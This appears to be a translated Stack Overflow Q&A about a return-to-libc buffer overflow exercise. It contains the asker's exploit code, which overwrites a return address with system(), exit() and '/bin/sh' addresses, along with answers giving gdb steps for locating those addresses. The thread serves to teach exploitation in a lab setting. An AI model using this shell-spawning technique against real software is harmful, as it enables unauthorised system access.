【问题标题】:return to lib_c buffer overflow exercise issue返回 lib_c 缓冲区溢出练习题
【发布时间】:2013-10-08 01:54:52
【问题描述】:

我应该想出一个利用“返回 libc 缓冲区溢出”的程序。也就是说,当执行时,它会干净地退出并显示一个 SHELL 提示。该程序在 bash 终端中执行。下面是我的 C 代码:

#include <stdio.h>
int main(int argc, char*argv[]){
    char buffer[7];

    char buf[42];
    int i = 0;
    while(i < 28)
    {
            buf[i] = 'a';
            i = i + 1;
    }

    *(int *)&buf[28] = 0x4c4ab0;
    *(int *)&buf[32] = 0x4ba520;
    *(int *)&buf[36] = 0xbfffff13;

    strcpy(buffer, buf);

    return 0;
}

使用gdb,我已经能够确定以下内容:

  • “系统”地址:0x4c4ab0
  • “退出”地址:0x4ba520
  • 字符串“/bin/sh”驻留在内存中:0xbfffff13

我也知道,使用gdb,在我的缓冲区变量中插入 32 个“A”会覆盖返回地址。因此,鉴于系统调用是 4 个字节,我首先在 28 个字节处填充我的内存“泄漏”。在第 28 个字节,我开始我的系统调用,然后退出调用,最后添加我的“/bin/sh”内存位置。

但是,当我运行程序时,我得到以下信息:

sh: B���: command not found
Segmentation fault (core dumped)

我真的不知道我做错了什么......

[编辑]:我可以通过导出环境变量来获取字符串“/bin/sh”:

export MYSHELL="/bin/sh"

【问题讨论】:

  • 您的字符串"/bin/sh" 是否以\0 结尾?
  • 看到我使用“导出”将其放入内存 - 它很可能以 \0 字符终止。
  • @lightningmanic /bin/sh 的地址在gdb 前后变化。直接在 libc 中找到 /bin/sh 的出现并使用它。
  • @ouah 我通过gdb运行我的程序得到的/bin/sh的地址,所以我看到的地址应该和我自己运行程序时一样。这台机器上也没有地址随机化。
  • @lightningmanic 即使没有堆栈随机化,堆栈的形状在gdb 下还是不一样。 MYSHELL 变量的堆栈地址可能与 gdb 下的堆栈地址不同,而不是 gdb 下的堆栈地址。

标签: c bash buffer-overflow


【解决方案1】:

您可以在 libc 中搜索 /bin/sh 字符串的固定地址。然后在 gdb 中运行你的程序:

> (gdb) break main
> 
> (gdb) run   
>
> (gdb) print &system  
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
> 
> (gdb) find &system,+9999999,"/bin/sh"  
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search. 
> 1 pattern found.

祝你好运。

【讨论】:

  • 快速说明,根据您的架构,您可能需要在 system() 调用和“/bin/sh”执行之间使用一些虚拟数据
  • @TuiPopenoe,您能否提供一个示例或信息来源?我想试试看。
【解决方案2】:

你程序中的问题是你以为指向/bin/sh字符串的指针实际上没有指向/bin/sh

您使用gdb 获取此地址。但是即使没有堆栈随机化,当程序在gdb 下运行时,您的shell 变量的堆栈地址与没有gdb 时不同。 gdb 正在将一些调试信息放入堆栈,这将改变你的 shell 变量。

在这里说服自己是一个快速而肮脏的程序,可以在堆栈中找到/bin/sh 字符串:

#include <stdio.h>
#include <string.h>

int main(void)
{
    char s[] = "/bin/sh";
    char *p = (char *) 0xbffff000;

    while (memcmp(++p, s, sizeof s));

    printf("%s\n", p);
    printf("%p\n", p);
}

首先仔细检查堆栈随机化是否已禁用:

ouah@maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah@maou:~$

好的,没有堆栈随机化。

让我们编译程序并在gdb之外运行它:

ouah@maou:~$ gcc -std=c99 tst.c
ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$

现在让我们在gdb下运行它:

ouah@maou:~$ ./a.out
/bin/sh
0xbffff724
ouah@maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4

Program exited normally.
(gdb) quit
ouah@maou:~$

如您所见,当程序在gdb 内部或外部运行时,/bin/sh 字符串的地址是不同的。

现在你可以做的是使用这个程序的一个变体来找到你的字符串的真实地址或更优雅的方法,直接从 libc 中获取/bin/sh 字符串的地址(你可以猜到有几次)。

【讨论】:

  • 在运行示例时,我收到分段错误...为什么?
  • 这不只是打印您在 main 中定义的字符串的地址吗?
  • @st4rgut,我认为他的意思是堆栈地址不同。
猜你喜欢
  • 2019-06-20
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2011-08-09
  • 2023-04-05
  • 1970-01-01
  • 2015-12-16
  • 1970-01-01
相关资源
最近更新 更多